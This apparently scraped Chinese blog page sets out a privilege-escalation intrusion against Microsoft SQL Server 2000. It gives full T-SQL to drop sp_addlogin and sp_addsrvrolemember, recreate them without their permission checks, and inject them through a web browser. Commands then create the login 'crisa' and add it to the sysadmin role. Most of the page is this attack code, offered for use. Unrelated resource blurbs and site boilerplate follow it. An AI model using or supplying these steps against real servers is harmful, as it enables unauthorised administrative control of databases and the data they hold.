`
izuoyan
  • 浏览: 9125998 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

Extended Stored Proc & Inject

阅读更多

前面刚谈完why to take some steps to do with extended stored procedures?
how to remove and / or restore scripts,这边问题又来了,又一例利用Extended Stored Proc进行入侵开始了

入侵途径:利用db_owner在db_owner角色下添加SYSADMIN帐号可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,绕过验证部分。

具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin

  @loginame sysname

  ,@passwd sysname = Null

  ,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT

  CONFIGURABLE

  ,@deflanguage sysname = Null

  ,@sid varbinary(16) = Null

  ,@encryptopt varchar(20) = Null

  AS

  -- SETUP RUNTIMEOPTIONS / DECLARE VARIABLES --

  set nocount on

  Declare @ret int -- return value of sp call

  -- DISALLOW USER TRANSACTION --

  set implicit_transactions off

  IF (@@trancount > 0)

  begin

  raiserror(15002,-1,-1,'sp_addlogin')

  return (1)

  end

  -- VALIDATE LOGIN NAME AS:

  -- (1) Valid SQL Name (SQL LOGIN)

  -- (2) No backslash (NT users only)

  -- (3) Not a reserved login name

  execute @ret = sp_validname @loginame

  if (@ret <> 0)

  return (1)

  if (charindex('\', @loginame) > 0)

  begin

  raiserror(15006,-1,-1,@loginame)

  return (1)

  end

  --Note: different case sa is allowed.

  if (@loginame = 'sa' or lower(@loginame) in ('public'))

  begin

  raiserror(15405, -1 ,-1, @loginame)

  return (1)

  end

  -- LOGIN NAME MUST NOT ALREADY EXIST --

  if exists(select * from master.dbo.syslogins where loginname =

  @loginame)

  begin

  raiserror(15025,-1,-1,@loginame)

  return (1)

  end

  -- VALIDATE DEFAULT DATABASE --

  IF db_id(@defdb) IS NULL

  begin

  raiserror(15010,-1,-1,@defdb)

  return (1)

  end

  -- VALIDATE DEFAULT LANGUAGE --

  IF (@deflanguage IS NOT Null)

  begin

  Execute @ret = sp_validlang @deflanguage

  IF (@ret <> 0)

  return (1)

  end

  ELSE

  begin

  select @deflanguage = name from master.dbo.syslanguages

  where langid = @@default_langid --server default

  language

  if @deflanguage is null

  select @deflanguage = N'us_english'

  end

  -- VALIDATE SID IF GIVEN --

  if ((@sid IS NOT Null) and (datalength(@sid) <> 16))

  begin

  raiserror(15419,-1,-1)

  return (1)

  end

  else if @sid is null

  select @sid = newid()

  if (suser_sname(@sid) IS NOT Null)

  begin

  raiserror(15433,-1,-1)

  return (1)

  end

  -- VALIDATE AND USE ENCRYPTION OPTION --

  declare @xstatus smallint

  select @xstatus = 2 -- access

  if @encryptopt is null

  select @passwd = pwdencrypt(@passwd)

  else if @encryptopt = 'skip_encryption_old'

  begin

  select @xstatus = @xstatus | 0x800, -- old-style

  encryption

  @passwd = convert(sysname, convert(varbinary

  (30), convert(varchar(30), @passwd)))

  end

  else if @encryptopt <> 'skip_encryption'

  begin

  raiserror(15600,-1,-1,'sp_addlogin')

  return 1

  end

  -- ATTEMPT THE INSERT OF THE NEW LOGIN --

  INSERT INTO master.dbo.sysxlogins VALUES

  (NULL, @sid, @xstatus, getdate(),

  getdate(), @loginame, convert(varbinary(256), @passwd),

  db_id(@defdb), @deflanguage)

  if @@error <> 0 -- this indicates we saw duplicate row

  return (1)

  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

  SYSLOGINS CHANGE --

  exec('use master grant all to null')

  -- FINALIZATION: RETURN SUCCESS/FAILURE --

  raiserror(15298,-1,-1)

  return (0) -- sp_addlogin

  GO

  OK,我们新建个用户exec master..sp_addlogin crisa

  再drop procedure sp_addsrvrolemember,然后在IE里输入

  create procedure sp_addsrvrolemember

  @loginame sysname, -- login name

  @rolename sysname = NULL -- server role name

  as

  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --

  set nocount on

  declare @ret int, -- return value of sp call

  @rolebit smallint,

  @ismem int

  -- DISALLOW USER TRANSACTION --

  set implicit_transactions off

  IF (@@trancount > 0)

  begin

  raiserror(15002,-1,-1,'sp_addsrvrolemember')

  return (1)

  end

  -- CANNOT CHANGE SA ROLES --

  if @loginame = 'sa'

  begin

  raiserror(15405, -1 ,-1, @loginame)

  return (1)

  end

  -- OBTAIN THE BIT FOR THIS ROLE --

  select @rolebit = CASE @rolename

  WHEN 'sysadmin' THEN 16

  WHEN 'securityadmin' THEN 32

  WHEN 'serveradmin' THEN 64

  WHEN 'setupadmin' THEN 128

  WHEN 'processadmin' THEN 256

  WHEN 'diskadmin' THEN 512

  WHEN 'dbcreator' THEN 1024

  WHEN 'bulkadmin' THEN 4096

  ELSE NULL END

  -- ADD ROW FOR NT LOGIN IF NEEDED --

  if not exists(select * from master.dbo.syslogins where

  loginname = @loginame)

  begin

  execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame

  if (@ret <> 0)

  begin

  raiserror(15007,-1,-1,@loginame)

  return (1)

  end

  end

  -- UPDATE ROLE MEMBERSHIP --

  update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

  xdate2 = getdate()

  where name = @loginame and srvid IS NULL

  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

  SYSLOGINS CHANGE --

  exec('use master grant all to null')

  raiserror(15488,-1,-1,@loginame,@rolename)

  -- FINALIZATION: RETURN SUCCESS/FAILURE

  return (@@error) -- sp_addsrvrolemember

  GO

  接着再exec master..sp_addsrvrolemember crisa,sysadmin

  这样就建立了一个SA用户了,用SQL连接器连接上就OK了。

分享到:
评论

相关推荐

    Convert MSSQL Tables/Stored Proc to WSDL-开源

    标题中的“Convert MSSQL Tables/Stored Proc to WSDL”指的是一个开源项目,它允许开发者将Microsoft SQL Server中的表格和存储过程转换为WSDL(Web Services Description Language)文件。WSDL是一种XML格式,用于...

    Bank:数据库管理员的银行账户项目 [C#、MS SQL、storedproc]

    这个系统显然基于C#编程语言,利用Microsoft SQL Server (MS SQL)作为数据库管理系统,并且在数据库操作中使用了存储过程(storedproc)。以下是该项目涉及的关键知识点: 1. **C#编程**: C#是微软开发的一种面向对象...

    考核内容.docx

    在准备武汉理工大学的MATLAB考试时,你需要全面掌握MATLAB的基本操作、变量管理、矩阵运算、字符串处理以及复杂数据类型等核心概念。以下是对这些知识点的详细解释: 首先,了解MATLAB的集成环境是至关重要的。...

    商业编程-源码-使用ADO处理存储过程源代码 stored_proc_using_ado.zip

    这个压缩包文件"stored_proc_using_ado.zip"包含了使用ADO(ActiveX Data Objects)来处理存储过程的源代码,这对于我们理解和实现数据库交互有着重要的意义。 ADO是微软提供的一个数据访问接口,它允许程序员通过...

    oracle笔记proc代码等

    在Oracle中,PROC通常指的是存储过程(Stored Procedure),这是一种预编译的SQL和PL/SQL代码集合,可以在数据库中存储并重复调用。下面将详细介绍存储过程和其他与PROC相关的知识点: 1. **PL/SQL语法**:PL/SQL...

    A class to call stored procedures that do not return records

    首先,从`StoredProc.cpp`和`StoredProc.h`这两个文件名我们可以推测,这是实现该类的源代码文件和头文件。在C++编程中,`.cpp`文件用于存放实现部分,而`.h`文件则包含类定义和函数声明。这个类可能包含了创建...

    CTN Hashing Extended Stored Procedure-开源

    CTNHashProc 是一个 Microsoft SQLServer 2000 扩展存储过程,它返回给定字符串的哈希值。 目前支持的哈希函数有 SHA (SHA1)、SHA2 (SHA-256、SHA-384、SHA-512)、MD5、RIPEMD-160、Tiger。

    DB2 Stored Procedures, Triggers & Functions

    **存储过程(Stored Procedures)** 存储过程是一组预先编译的SQL语句,它们被封装在一起,作为一个可重用的单元来执行。在DB2中,存储过程可以接受输入参数,返回输出结果,并且能够处理复杂的业务逻辑。它们提高...

    MySQL Stored Procedure Programming

    The implementation of stored procedures in MySQL 5.0 a huge milestone -- one that is expected to lead to widespread enterprise adoption of the already extremely popular MySQL database....

    6.30修改版-软件技术专业技能考核(抽查题库)-用的.docx

    在题库中,试题J1-1提到了创建存储过程P_stored_proc,指定供应商代码,查询该供应商的订单信息。这部分考核了学生对数据库和存储过程的理解。数据库是一种存储和管理数据的系统,而存储过程是数据库中的一种程序...

    使用ADO处理存储过程VC源代码:stored_proc_using_ado

    在IT行业中,数据库管理和数据操作是至关重要...这个示例代码“stored_proc_using_ado”可以作为参考,帮助开发者理解并实现类似的功能。了解和熟练掌握这些技术,对于提升数据库操作的效率和程序的可维护性至关重要。

    spring-oracle-stored-proc:SpringBoot Oracle存储过程演示项目

    用于执行Oracle存储过程的SpringBoot演示项目前提条件这需要Oracle DB。 请按照以旋转Oracle docker映像。 或者,您可以使用 ... 必须明确设置以下JPA属性spring : application : name : spring-oracle-stored-proc

    存储过程(Stored Procedure)

    ### 存储过程(Stored Procedure)详解 #### 一、存储过程的概念与作用 存储过程是一种预先编写并编译好的SQL语句集合,通常用于实现特定的数据库操作或逻辑处理。存储过程存储在数据库服务器中,用户可以通过指定...

    某楼盘销售管理流程.docx

    【楼盘销售管理流程】 楼盘销售管理流程是房地产行业中至关重要的环节,它涵盖了从销售团队的构建到销售策略的制定,再到具体操作层面的各个环节。以下是对这个流程的详细解析: 一、销售团队组建与职责分工 ...

    学习使用存储过程(Stored Procedure)

    ### 学习使用存储过程(Stored Procedure) 在IT领域中,存储过程(Stored Procedure)是一项重要的技术,尤其对于从事Web开发尤其是ASP编程的开发者来说,掌握如何使用存储过程至关重要。存储过程是一种预先编译并...

    第四节 存储过程(stored procedures)2---马克-to-win java视频

    第四节 存储过程(stored procedures)2---马克-to-win java视频

    Using Informatica Stored Procedure Transformation

    在数据集成领域,Informatica是一个强大的企业级ETL(提取、转换、加载)工具,而“使用Informatica存储过程转换”是它的一项重要功能。存储过程转换允许用户通过Informatica执行预先在数据库中构建的存储过程,从而...

    解决OracleRAC集群下创建SDE时报Stored procedures错误问题.docx

    在Oracle RAC(Real Application Clusters)环境下,安装和配置ArcGIS Desktop的SDE(Spatial Database Extensions)数据库连接时,可能会遇到"Stored procedures"错误。这个问题通常与Oracle RAC的特性有关,即其...

Global site tag (gtag.js) - Google Analytics